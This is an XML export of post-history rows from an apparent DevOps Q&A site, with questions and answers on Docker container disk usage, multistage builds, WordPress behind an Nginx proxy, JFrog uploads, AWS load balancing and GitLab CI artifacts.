  <row Id="39724" PostHistoryTypeId="3" PostId="12953" RevisionGUID="e666e16b-c719-4d07-970b-1d34a00ff4c6" CreationDate="2020-12-10T05:51:01.850" UserId="24583" Text="&lt;azure-devops&gt;&lt;maven&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39725" PostHistoryTypeId="2" PostId="12954" RevisionGUID="dce7d903-ae23-4522-a151-cf387cbbdf33" CreationDate="2020-12-10T13:45:52.803" UserId="25095" Text="When I list my Docker images, I can see their sizes:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ sudo docker image ls&#xD;&#xA;&#xD;&#xA;REPOSITORY                TAG                          IMAGE ID       CREATED         SIZE&#xD;&#xA;travisci/ci-ubuntu-1804   packer-1606831264-7957c7a9   0a7a71407638   8 days ago      15.6GB&#xD;&#xA;travisci/ci-ubuntu-1804   packer-1593521720-ca42795e   6093ba41f031   5 months ago    12.3GB&#xD;&#xA;travisci/ci-sardonyx      packer-1547455648-2c98a19    d1b323af5b2a   23 months ago   9.02GB&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;However, docker containers do not display the space used:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ sudo docker container ls&#xD;&#xA;&#xD;&#xA;CONTAINER ID  IMAGE         COMMAND       CREATED         STATUS         PORTS  NAMES&#xD;&#xA;5794ae898b68  6093ba41f031  &quot;/sbin/init&quot;  10 minutes ago  Up 10 minutes         travis&#xD;&#xA;762e3f8df2da  0a7a71407638  &quot;/sbin/init&quot;  4 hours ago     Up 4 hours            distracted_noyce&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Of course, I understand that if you're writing to containers, some space *will* be used on the hard drive.&#xD;&#xA;&#xD;&#xA;But when you create a container, **does Docker actually clone the image** before booting up the container? Or does it work with diffs, only storing the differences between the image and the current container disk state?&#xD;&#xA;&#xD;&#xA;And, **how can I see the actual disk space used by a container?**&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39726" PostHistoryTypeId="1" PostId="12954" RevisionGUID="dce7d903-ae23-4522-a151-cf387cbbdf33" CreationDate="2020-12-10T13:45:52.803" UserId="25095" Text="Do Docker containers take up space?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39727" PostHistoryTypeId="3" PostId="12954" RevisionGUID="dce7d903-ae23-4522-a151-cf387cbbdf33" CreationDate="2020-12-10T13:45:52.803" UserId="25095" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39728" PostHistoryTypeId="2" PostId="12955" RevisionGUID="4d2fa26a-0e2f-4fc2-a1af-6504c4e01c25" CreationDate="2020-12-10T14:08:43.220" UserId="7730" Text="&gt; does Docker actually clone the image&#xD;&#xA;&#xD;&#xA;Typically no, it uses a layered filesystem, by default that's overlay2 on my systems. A decent example of this comes from the [arch wiki](https://wiki.archlinux.org/index.php/Overlay_filesystem):&#xD;&#xA;&#xD;&#xA;&gt; - The lower directory can be read-only or could be an overlay itself.&#xD;&#xA;&gt; - The upper directory is normally writable.&#xD;&#xA;&gt; - The workdir is used to prepare files as they are switched between the layers.&#xD;&#xA;&gt; &#xD;&#xA;&gt; The lower directory can actually be a list of directories separated by&#xD;&#xA;&gt; :, all changes in the merged directory are still reflected in upper.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Example:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     # mount -t overlay overlay -o lowerdir=/lower1:/lower2:/lower3,upperdir=/upper,workdir=/work /merged&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;&gt; how can I see the actual disk space used by a container?&#xD;&#xA;&#xD;&#xA;Docker will show you the disk used by all containers in a `docker system df`.&#xD;&#xA;&#xD;&#xA;    $ docker system df&#xD;&#xA;    TYPE            TOTAL     ACTIVE    SIZE      RECLAIMABLE&#xD;&#xA;    Images          183       4         37.59GB   37.34GB (99%)&#xD;&#xA;    Containers      7         3         2.23kB    1.114kB (49%)&#xD;&#xA;    Local Volumes   10        1         4.816GB   305.8MB (6%)&#xD;&#xA;    Build Cache     511       0         20.49GB   20.49GB&#xD;&#xA;&#xD;&#xA;For a container, this number is not static (unlike images that are read only), so I don't think this shows in any of the inspect commands. But you can see the underlying filesystems used:&#xD;&#xA;&#xD;&#xA;    $ docker container inspect 056 --format '{{json .GraphDriver}}' | jq .&#xD;&#xA;    {&#xD;&#xA;      &quot;Data&quot;: {&#xD;&#xA;        &quot;LowerDir&quot;: &quot;/home/docker/overlay2/ba813e6876186f8792d263ced7dc912921870393a085644188a8adadcf73d3e6-init/diff:/home/docker/overlay2/22281f31287edf3342709add6123436540bd04dea60e474c961421e47b2dd58f/diff:/home/docker/overlay2/6a7a1eee38c2496928dff4741c2f9a1365f177a3e620ef7cf8adb816bba69b55/diff:/home/docker/overlay2/fcf371f07f06a42d328027281afb52c8044000cb51c4bb01a1f0dca2701062ec/diff:/home/docker/overlay2/89f8b12195e051bc439ac66d2bb299975884cdb229146dd570b1cac4011a08e6/diff:/home/docker/overlay2/d5a7a5c1c11746080d802b4dd076fd4d775099cb16b73d82c06db71e93b4e0c5/diff&quot;,&#xD;&#xA;        &quot;MergedDir&quot;: &quot;/home/docker/overlay2/ba813e6876186f8792d263ced7dc912921870393a085644188a8adadcf73d3e6/merged&quot;,&#xD;&#xA;        &quot;UpperDir&quot;: &quot;/home/docker/overlay2/ba813e6876186f8792d263ced7dc912921870393a085644188a8adadcf73d3e6/diff&quot;,&#xD;&#xA;        &quot;WorkDir&quot;: &quot;/home/docker/overlay2/ba813e6876186f8792d263ced7dc912921870393a085644188a8adadcf73d3e6/work&quot;&#xD;&#xA;      },&#xD;&#xA;      &quot;Name&quot;: &quot;overlay2&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;In this case, I can look at the disk usage of UpperDir to see how much space is used by that container:&#xD;&#xA;&#xD;&#xA;    $ sudo du -sh /home/docker/overlay2/ba813e6876186f8792d263ced7dc912921870393a085644188a8adadcf73d3e6/diff&#xD;&#xA;    80K     /home/docker/overlay2/ba813e6876186f8792d263ced7dc912921870393a085644188a8adadcf73d3e6/diff&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39729" PostHistoryTypeId="2" PostId="12956" RevisionGUID="56dbeedc-b7af-428e-b75c-225e27135016" CreationDate="2020-12-10T15:25:45.227" UserId="13082" Text="My Dockerfile contains this:&#xD;&#xA;&#xD;&#xA;    ### STAGE 1: Build Angular app ###&#xD;&#xA;    FROM node:14.15 AS build&#xD;&#xA;    WORKDIR /usr/src/app&#xD;&#xA;    COPY src/hub/package.json ./&#xD;&#xA;    RUN npm cache verify&#xD;&#xA;    RUN npm install&#xD;&#xA;    COPY src/hub/ .&#xD;&#xA;    RUN npm run-script build-azdev&#xD;&#xA;    RUN npm prune --production&#xD;&#xA;&#xD;&#xA;    ### STAGE 2: Run Angular app in nginx ###&#xD;&#xA;    FROM nginx:1.19-alpine&#xD;&#xA;    COPY /scripts/nginx/nginx.conf /etc/nginx/nginx.conf&#xD;&#xA;    RUN rm -rf /usr/share/nginx/html/*&#xD;&#xA;    COPY --from=build /usr/src/app/dist/* /usr/share/nginx/html/&#xD;&#xA;    EXPOSE 80&#xD;&#xA;    CMD [&quot;nginx&quot;, &quot;-g&quot;, &quot;daemon off;&quot;]&#xD;&#xA;&#xD;&#xA;Once `COPY --from=build /usr/src/app/dist/* /usr/share/nginx/html/` is done, should the contents of WORKDIR (/usr/src/app) be deleted?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39730" PostHistoryTypeId="1" PostId="12956" RevisionGUID="56dbeedc-b7af-428e-b75c-225e27135016" CreationDate="2020-12-10T15:25:45.227" UserId="13082" Text="In a multistage Docker build, should the WORKDIR be deleted?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39731" PostHistoryTypeId="3" PostId="12956" RevisionGUID="56dbeedc-b7af-428e-b75c-225e27135016" CreationDate="2020-12-10T15:25:45.227" UserId="13082" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39732" PostHistoryTypeId="2" PostId="12957" RevisionGUID="9cf5002a-92f1-4284-a6ac-868c4dfb9e76" CreationDate="2020-12-10T15:40:39.530" UserId="25097" Text="I am trying to setup a production environment for multiple WordPress sites using Docker, Nginx reverse proxy, and Let's Encrypt.&#xD;&#xA;&#xD;&#xA;I have 3 containers for the proxy group using the jwilder/docker-gen, jwilder/nginx-proxy, and jrcs/letsencrypt-nginx-proxy-companion images.&#xD;&#xA;&#xD;&#xA;I also have separate containers for mysql and WordPress.&#xD;&#xA;&#xD;&#xA;Everything runs ok and the site loads. However, I am getting the following Site Health Errors in WordPress:&#xD;&#xA;&#xD;&#xA;&gt; The REST API request failed due to an error. Error: cURL error 28:&#xD;&#xA;&gt; Connection timed out after 10000 milliseconds (http_request_failed)&#xD;&#xA;&#xD;&#xA;&gt; The loopback request to your site failed, this means features relying&#xD;&#xA;&gt; on them are not currently working as expected. Error: cURL error 28:&#xD;&#xA;&gt; Connection timed out after 10001 milliseconds (http_request_failed)&#xD;&#xA;&#xD;&#xA;&gt; Background updates ensure that WordPress can auto-update if a security&#xD;&#xA;&gt; update is released for the version you are currently using.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Warning Could not confirm that the wp_version_check() filter is&#xD;&#xA;&gt; available&#xD;&#xA;&#xD;&#xA;I have confirmed that cURL is working within the WordPress container and also that all containers are on the same docker network.&#xD;&#xA;&#xD;&#xA;I have tried disabling all plugins in WordPress and using default theme (twentytwenty).&#xD;&#xA;&#xD;&#xA;I am able to update plugins and themes.&#xD;&#xA;&#xD;&#xA;I have updated my php settings in the WP container so that max_execution_time = 600 and memory_limit = 1024M.&#xD;&#xA;&#xD;&#xA;This same site runs on a LAMP stack and all Site Health tests pass. &#xD;&#xA;&#xD;&#xA;I will also mention that the site also seems slower to respond when running in the Docker container. &#xD;&#xA;&#xD;&#xA;I am thinking that this must have something to do with Nginx, but cannot figure out what it could be. Any help would be greatly appreciated. &#xD;&#xA;&#xD;&#xA;Included are my docker-compose configurations.&#xD;&#xA;&#xD;&#xA;For Nginx: &#xD;&#xA;&#xD;&#xA;```version: '3'&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;  nginx:&#xD;&#xA;    image: jwilder/nginx-proxy&#xD;&#xA;    container_name: nginx&#xD;&#xA;    restart: always&#xD;&#xA;    labels:&#xD;&#xA;      com.github.jrcs.letsencrypt_nginx_proxy_companion.nginx_proxy: 'true'&#xD;&#xA;    ports:&#xD;&#xA;      - 80:80&#xD;&#xA;      - 443:443&#xD;&#xA;    # environment: &#xD;&#xA;    #   - VIRTUAL_PROTO=https&#xD;&#xA;    #   - VIRTUAL_PORT=443  &#xD;&#xA;    volumes:      &#xD;&#xA;      - /srv/nginx/data/conf.d:/etc/nginx/conf.d&#xD;&#xA;      - /srv/nginx/data/vhost.d:/etc/nginx/vhost.d&#xD;&#xA;      - /srv/nginx/data/html:/usr/share/nginx/html&#xD;&#xA;      - /srv/nginx/data/certs:/etc/nginx/certs:ro&#xD;&#xA;      - /var/run/docker.sock:/tmp/docker.sock:ro&#xD;&#xA;    networks: &#xD;&#xA;      - proxy&#xD;&#xA;&#xD;&#xA;  dockergen:&#xD;&#xA;    image: jwilder/docker-gen&#xD;&#xA;    container_name: dockergen&#xD;&#xA;    command: -notify-sighup nginx -watch /etc/docker-gen/templates/nginx.tmpl /etc/nginx/conf.d/default.conf    &#xD;&#xA;    volumes:&#xD;&#xA;      - /srv/nginx/data/conf.d:/etc/nginx/conf.d&#xD;&#xA;      - /srv/nginx/data/vhost.d:/etc/nginx/vhost.d&#xD;&#xA;      - /srv/nginx/data/html:/usr/share/nginx/html&#xD;&#xA;      - /srv/nginx/data/certs:/etc/nginx/certs:ro&#xD;&#xA;      - /var/run/docker.sock:/tmp/docker.sock:ro&#xD;&#xA;      - ./nginx.tmpl:/etc/docker-gen/templates/nginx.tmpl:ro&#xD;&#xA;    networks:&#xD;&#xA;      - proxy&#xD;&#xA;  &#xD;&#xA;  letsencrypt:&#xD;&#xA;    image: jrcs/letsencrypt-nginx-proxy-companion&#xD;&#xA;    container_name: letsencrypt&#xD;&#xA;    depends_on:&#xD;&#xA;      - nginx&#xD;&#xA;      - dockergen&#xD;&#xA;    environment:&#xD;&#xA;      NGINX_PROXY_CONTAINER: nginx&#xD;&#xA;      NGINX_DOCKER_GEN_CONTAINER: dockergen&#xD;&#xA;    volumes:&#xD;&#xA;      - /srv/nginx/data/conf.d:/etc/nginx/conf.d&#xD;&#xA;      - /srv/nginx/data/vhost.d:/etc/nginx/vhost.d&#xD;&#xA;      - /srv/nginx/data/html:/usr/share/nginx/html&#xD;&#xA;      - /srv/nginx/data/certs:/etc/nginx/certs:rw     &#xD;&#xA;      - /var/run/docker.sock:/var/run/docker.sock:ro&#xD;&#xA;    networks: &#xD;&#xA;      - proxy&#xD;&#xA;&#xD;&#xA;networks:&#xD;&#xA;  proxy: &#xD;&#xA;    driver: bridge&#xD;&#xA;```&#xD;&#xA;For WP: &#xD;&#xA;&#xD;&#xA;```version: '3'&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;&#xD;&#xA;  db:&#xD;&#xA;    container_name: $DB_CONTAINER&#xD;&#xA;    image: mysql:5.7&#xD;&#xA;    restart: always&#xD;&#xA;    volumes:&#xD;&#xA;      - ./db_data:/var/lib/mysql&#xD;&#xA;    environment:&#xD;&#xA;      #MYSQL_RANDOM_ROOT_PASSWORD: 1&#xD;&#xA;      MYSQL_ROOT_PASSWORD: $DB_ROOT_PASSWORD&#xD;&#xA;      MYSQL_DATABASE: $DB_NAME&#xD;&#xA;      MYSQL_USER: $DB_USER&#xD;&#xA;      MYSQL_PASSWORD: $DB_PASSWORD&#xD;&#xA;&#xD;&#xA;  wp:&#xD;&#xA;    container_name: $WP_CONTAINER&#xD;&#xA;    image: wordpress:latest&#xD;&#xA;    depends_on:&#xD;&#xA;      - db&#xD;&#xA;    expose: &#xD;&#xA;      - 80&#xD;&#xA;    restart: always&#xD;&#xA;    extra_hosts:&#xD;&#xA;      - &quot;my-domain-name.ca:192.168.80.2&quot;&#xD;&#xA;    volumes:&#xD;&#xA;      #- ./wp-config.php:/var/www/html/wp-config.php:rw&#xD;&#xA;      - ./wp-content:/var/www/html/wp-content:rw&#xD;&#xA;      - ./config/php-config.ini:/usr/local/etc/php/conf.d/php-config.ini&#xD;&#xA;    environment:&#xD;&#xA;      WORDPRESS_DB_HOST: $DB_CONTAINER&#xD;&#xA;      WORDPRESS_DB_NAME: $DB_NAME&#xD;&#xA;      WORDPRESS_DB_USER: $DB_USER&#xD;&#xA;      WORDPRESS_DB_PASSWORD: $DB_PASSWORD&#xD;&#xA;      WORDPRESS_TABLE_PREFIX: $WP_TABLE_PREFIX&#xD;&#xA;      VIRTUAL_HOST: $VIRTUAL_HOST&#xD;&#xA;      VIRTUAL_PORT: $VIRTUAL_PORT&#xD;&#xA;      LETSENCRYPT_HOST: $LETSENCRYPT_HOST&#xD;&#xA;      LETSENCRYPT_EMAIL: $LETSENCRYPT_EMAIL&#xD;&#xA;      WORDPRESS_CONFIG_EXTRA: |&#xD;&#xA;        define('ALTERNATE_WP_CRON', true);&#xD;&#xA;        define('FORCE_SSL_ADMIN', true);&#xD;&#xA;&#xD;&#xA;networks:&#xD;&#xA;  default:&#xD;&#xA;    external:&#xD;&#xA;      name: nginx_proxy&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="39733" PostHistoryTypeId="1" PostId="12957" RevisionGUID="9cf5002a-92f1-4284-a6ac-868c4dfb9e76" CreationDate="2020-12-10T15:40:39.530" UserId="25097" Text="WordPress Site Health errors when using Docker and Nginx" ContentLicense="CC BY-SA 4.0" />
  <row Id="39734" PostHistoryTypeId="3" PostId="12957" RevisionGUID="9cf5002a-92f1-4284-a6ac-868c4dfb9e76" CreationDate="2020-12-10T15:40:39.530" UserId="25097" Text="&lt;docker&gt;&lt;nginx&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39735" PostHistoryTypeId="5" PostId="4614" RevisionGUID="8fcdda43-80ea-4112-8a06-a7a66edffbb1" CreationDate="2020-12-10T17:11:37.440" UserId="8983" Comment="Revise 'preserve directory structure' setting." Text="This can be done [through the Jrog CLI](https://www.jfrog.com/confluence/display/CLI/CLI+for+JFrog+Artifactory). The CLI has a recursive option that looks like it will do what you hope.&#xD;&#xA;&#xD;&#xA;    jfrog rt upload --recursive artifactory-mirror/* artifact-repo/dir-struct/&#xD;&#xA;&#xD;&#xA;The CLI also has some performance improvements for uploads that doing it through curl or a browser don't seem to get. Also, scriptable!&#xD;&#xA;&#xD;&#xA;To include full directory structure you will want to use the flag --flat=false&#xD;&#xA;&#xD;&#xA;    jfrog rt upload --flat=false --recursive artifactory-mirror/* artifact-repo&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39736" PostHistoryTypeId="2" PostId="12958" RevisionGUID="659da178-5484-4fa4-82a1-05c23f331ffd" CreationDate="2020-12-10T18:17:23.210" UserId="13461" Text="When creating an image using a Dockerfile, docker layers are created for each step. The description of layers can be found on the official docker [page][1].&#xD;&#xA;&#xD;&#xA;Accordingly, when using Multistage to create an image, it introduces a new build step that can be named using an alias in the FROM statement, and all layers except the image layer created via the last FROM statement are deleted.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/storage/storagedriver/#images-and-layers" ContentLicense="CC BY-SA 4.0" />
  <row Id="39737" PostHistoryTypeId="5" PostId="12958" RevisionGUID="00ecc4ba-473b-4192-9a0d-a0fb4f53708e" CreationDate="2020-12-10T19:11:23.243" UserId="13461" Comment="added 571 characters in body" Text="When creating an image using a Dockerfile, docker layers are created for each step. The description of layers can be found on the official docker [page][1].&#xD;&#xA;&#xD;&#xA;Accordingly, when using Multistage to create an image, it introduces a new build step that can be named using an alias in the FROM statement, and all layers except the image layer created via the last FROM statement are deleted.&#xD;&#xA;&#xD;&#xA;After build your image, check if the layer that contains WORKDIR whether exists or not using docker image inspect. I think you probably know the unique layer value for each step. &#xD;&#xA;&#xD;&#xA;You can see the image consists with which layers.&#xD;&#xA;e.g.,&#xD;&#xA;```&#xD;&#xA;$docker image inspect [OPTIONS] 464503b73bfe # IMAGE&#xD;&#xA;[&#xD;&#xA;    {&#xD;&#xA;        &quot;Id&quot;: &quot;sha256:464bf1...46c&quot;,&#xD;&#xA;        ...&#xD;&#xA;&#xD;&#xA;        &quot;RootFS&quot;: {&#xD;&#xA;            &quot;Type&quot;: &quot;layers&quot;,&#xD;&#xA;            &quot;Layers&quot;: [&#xD;&#xA;                &quot;sha256:26711...8fcf&quot;,&#xD;&#xA;                &quot;sha256:6c5a51...56e0&quot;&#xD;&#xA;            ]&#xD;&#xA;        },&#xD;&#xA;        ...&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/storage/storagedriver/#images-and-layers&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39738" PostHistoryTypeId="2" PostId="12959" RevisionGUID="4e75aa7c-cf79-4545-9c6d-3fe31c005078" CreationDate="2020-12-10T20:49:39.893" UserId="25097" Text="This was so simple I've been kicking myself ever since I figured out what was wrong.&#xD;&#xA;&#xD;&#xA;In the WP stack docker compose file this line was correct, but missing the 'www'.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;extra_hosts:&#xD;&#xA;      - &quot;www.my-domain-name.com:192.168.80.2&quot;&#xD;&#xA;```&#xD;&#xA;In my WordPress setup, the site URL included the www. So I was right to point the domain name to the IP of the Nginx container, but not including the full URL as specified in WP was causing the issue.&#xD;&#xA;&#xD;&#xA;*face palm*" ContentLicense="CC BY-SA 4.0" />
  <row Id="39739" PostHistoryTypeId="2" PostId="12960" RevisionGUID="e591d2bf-f78d-4d0e-a18f-43a024cba424" CreationDate="2020-12-10T21:20:38.997" UserId="13" Text="Docker containers are processes, does a process use disk space ? nope (at least not in itself).&#xD;&#xA;&#xD;&#xA;The space used is the space when you put the program on disk first (the container image here).&#xD;&#xA;&#xD;&#xA;Starting a container multiple times behave as starting bash/zsh/&lt;insert your favorite shell here&gt; multiple times when you login/ssh on different terminals/sessions.&#xD;&#xA;&#xD;&#xA;One particularity of containers, more precisely of overlayfs, is the layers, if you pull two images for services based on the same base image, the initial layer won't be downloaded twice.&#xD;&#xA;&#xD;&#xA;A rought illustration:&#xD;&#xA;&#xD;&#xA;    - Ubuntu 20.04&#xD;&#xA;    |- redis (FROM ubuntu 20.04)&#xD;&#xA;    |- apache2 (FROM ubuntu 20.04)&#xD;&#xA;&#xD;&#xA;You can get image for apache2 and redis and get only 3 layers on disk, the base ubuntu 20.04 will be reused.&#xD;&#xA;&#xD;&#xA;Refer to [BMitch](https://devops.stackexchange.com/a/12955/13)'s answer for details&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39740" PostHistoryTypeId="2" PostId="12961" RevisionGUID="51a3d56d-1d04-4296-ae1e-e61cb54939a8" CreationDate="2020-12-10T21:53:22.670" UserId="13461" Text="According to the AWS [page][1], I understand that in the event of a DNS failover, traffic can be redirected to another URL using combination record setting in Amazon Route53.&#xD;&#xA;&#xD;&#xA;Is there a way, however, in case if I have to route all request to a fallback location only using ELB when ELB targets has failover in AWS?&#xD;&#xA;&#xD;&#xA;Thanks in advance!&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/premiumsupport/knowledge-center/route-53-dns-health-checks/?nc1=h_ls" ContentLicense="CC BY-SA 4.0" />
  <row Id="39741" PostHistoryTypeId="1" PostId="12961" RevisionGUID="51a3d56d-1d04-4296-ae1e-e61cb54939a8" CreationDate="2020-12-10T21:53:22.670" UserId="13461" Text="can route all traffic to a fallback location using ELB?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39742" PostHistoryTypeId="3" PostId="12961" RevisionGUID="51a3d56d-1d04-4296-ae1e-e61cb54939a8" CreationDate="2020-12-10T21:53:22.670" UserId="13461" Text="&lt;amazon-web-services&gt;&lt;load-balance&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39743" PostHistoryTypeId="5" PostId="12959" RevisionGUID="7eac561f-82e6-45be-a9f4-e4d06cb17b5b" CreationDate="2020-12-10T22:42:46.187" UserId="25097" Comment="added 211 characters in body" Text="This was so simple I've been kicking myself ever since I figured out what was wrong.&#xD;&#xA;&#xD;&#xA;In the WP stack docker compose file this line was correct, but missing the 'www'.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;extra_hosts:&#xD;&#xA;      - &quot;www.my-domain-name.com:192.168.80.2&quot;&#xD;&#xA;```&#xD;&#xA;In my WordPress setup the site URL included the www. So I was right to point the domain name to the IP of the Nginx container, but not including the full URL as specified in WP was causing the issue. &#xD;&#xA;&#xD;&#xA;For anybody experiencing WP Site Health issues when using Docker, Nginx the solution is to use the &quot;extra_hosts&quot; directive in the wordpress container setup and point the IP of the Nginx container to the WordPress site URL." ContentLicense="CC BY-SA 4.0" />
  <row Id="39744" PostHistoryTypeId="10" PostId="12956" RevisionGUID="91d0aca5-eba3-4ea1-b267-1e2899b0fd53" CreationDate="2020-12-11T00:03:17.450" UserId="40" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:7730,&quot;DisplayName&quot;:&quot;BMitch&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="39747" PostHistoryTypeId="2" PostId="12962" RevisionGUID="4a914c63-02ec-40a3-ab22-e3266285758d" CreationDate="2020-12-11T07:37:48.153" UserId="25111" Text="**My Current Scenario is:**&#xD;&#xA;1. I have over 20+ AWS ec2 instances running, with each instance running a single website.&#xD;&#xA;2. I have to use SSH for every task I have to perform related to server.&#xD;&#xA;3. I have to keep track of SSL certificates &amp; renew them every time from the SSH.&#xD;&#xA;&#xD;&#xA;There are many more things I have to manage for all the instances.&#xD;&#xA;&#xD;&#xA;**What I thought/want is:**&#xD;&#xA;1. A Web Panel on which I can connect all my AWS instances and I will show up in a table or something.&#xD;&#xA;2. I can install/edit/do server stuff for all the instances from the panel itself.&#xD;&#xA;3. I can install and renew Lets-Encrypt/etc SSL certificates from the panel itself.&#xD;&#xA;4. I can do all the stuff a reseller panel or a cPanel can do.&#xD;&#xA;&#xD;&#xA;**I cannot afford any paid panels**&#xD;&#xA;&#xD;&#xA;**I would be great if you can suggest some tutorials or panel names**" ContentLicense="CC BY-SA 4.0" />
  <row Id="39748" PostHistoryTypeId="1" PostId="12962" RevisionGUID="4a914c63-02ec-40a3-ab22-e3266285758d" CreationDate="2020-12-11T07:37:48.153" UserId="25111" Text="How can I efficiently manage multiple ec2 instances with a Panel" ContentLicense="CC BY-SA 4.0" />
  <row Id="39749" PostHistoryTypeId="3" PostId="12962" RevisionGUID="4a914c63-02ec-40a3-ab22-e3266285758d" CreationDate="2020-12-11T07:37:48.153" UserId="25111" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;aws-cli&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39750" PostHistoryTypeId="2" PostId="12963" RevisionGUID="31de61d4-c24b-48c9-ba5f-21d1193d6603" CreationDate="2020-12-11T08:01:14.030" UserId="24539" Text="As a little addition to such extensive answer, with `docker ps` you can `--filter` containers by label. One of the labels in swarm is a service name, so:&#xD;&#xA;```shell&#xD;&#xA;docker ps --filter &quot;label=com.docker.swarm.service.name=&lt;service_name&gt;&quot;&#xD;&#xA;```&#xD;&#xA;Should give you service containers on current node. To find more labels for possible filters hit &#xD;&#xA;```shell&#xD;&#xA;docker  ps --format &quot;table {{.Names}}\t{{ .Labels }}&quot;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="39751" PostHistoryTypeId="2" PostId="12964" RevisionGUID="ffded519-fe20-44d6-a1cd-8ae126749ef9" CreationDate="2020-12-11T08:44:07.313" UserId="23442" Text="When our site is getting deployed, the ingress gets created and before I could get any response I get 503 for 5-6 minutes(time taken to startup) . We need to configure our ingress to redirect to a static page that is custom made instead of the 503 error.can I add an annotation to acheive this, If yes. Please give me a example for redirectConfig using the statuscode" ContentLicense="CC BY-SA 4.0" />
  <row Id="39752" PostHistoryTypeId="1" PostId="12964" RevisionGUID="ffded519-fe20-44d6-a1cd-8ae126749ef9" CreationDate="2020-12-11T08:44:07.313" UserId="23442" Text="Redirect to a custom page on 503 error in Ingress" ContentLicense="CC BY-SA 4.0" />
  <row Id="39753" PostHistoryTypeId="3" PostId="12964" RevisionGUID="ffded519-fe20-44d6-a1cd-8ae126749ef9" CreationDate="2020-12-11T08:44:07.313" UserId="23442" Text="&lt;amazon-web-services&gt;&lt;kubernetes&gt;&lt;load-balance&gt;&lt;ingress&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39754" PostHistoryTypeId="2" PostId="12965" RevisionGUID="ee76839b-eef5-4e39-bf71-221b260f2b57" CreationDate="2020-12-11T18:10:01.140" UserId="17171" Text="I have a project that uses GitLab CI. I'm preparing the same to be able to deploy to the `PRODUCTION` environment when the repository is tagged with a particular pattern. I know I can trigger a pipeline based on the creation/push of a tag (`rules: - if: $CI_COMMIT_TAG =~ /SOME_PATTERN/`), but I would like to avoid to trigger the build process again since the release is kept as an `artifacts` ZIP for a long time.&#xD;&#xA;&#xD;&#xA;So is it possible to reference and fetch the `artifacts` for a particular Git ref? For instance, if I tag commit `a1b2c3d4`, I know that's the release I would like to deploy to the `PRODUCTION` environment, so I would rather pick up that build instead of triggering the build process that generates a new one." ContentLicense="CC BY-SA 4.0" />
  <row Id="39755" PostHistoryTypeId="1" PostId="12965" RevisionGUID="ee76839b-eef5-4e39-bf71-221b260f2b57" CreationDate="2020-12-11T18:10:01.140" UserId="17171" Text="Retrieve build on tagged commit from GitLab CI" ContentLicense="CC BY-SA 4.0" />
  <row Id="39756" PostHistoryTypeId="3" PostId="12965" RevisionGUID="ee76839b-eef5-4e39-bf71-221b260f2b57" CreationDate="2020-12-11T18:10:01.140" UserId="17171" Text="&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;&lt;build-pipeline&gt;&lt;release-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39757" PostHistoryTypeId="5" PostId="12814" RevisionGUID="04604b88-dd8a-4e56-9b9c-6ac1777af148" CreationDate="2020-12-11T22:19:29.683" UserId="24832" Comment="added 2 characters in body" Text="You could use dynamic child pipelines. (https://docs.gitlab.com/ee/ci/parent_child_pipelines.html#dynamic-child-pipelines).&#xD;&#xA;&#xD;&#xA;You could create a job for triggering your job &quot;buildArtifact&quot; in a yml-file created with jsonnet in your &quot;checkArtifactPresent&quot;.&#xD;&#xA;With using &quot;--ext-str&quot; or &quot;--ext-code&quot; in jsonnet.&#xD;&#xA;You can control the yml-file creation (https://jsonnet.org/learning/tutorial.html#parameterize-entire-config).&#xD;&#xA;&#xD;&#xA;Read more https://jsonnet.org/" ContentLicense="CC BY-SA 4.0" />
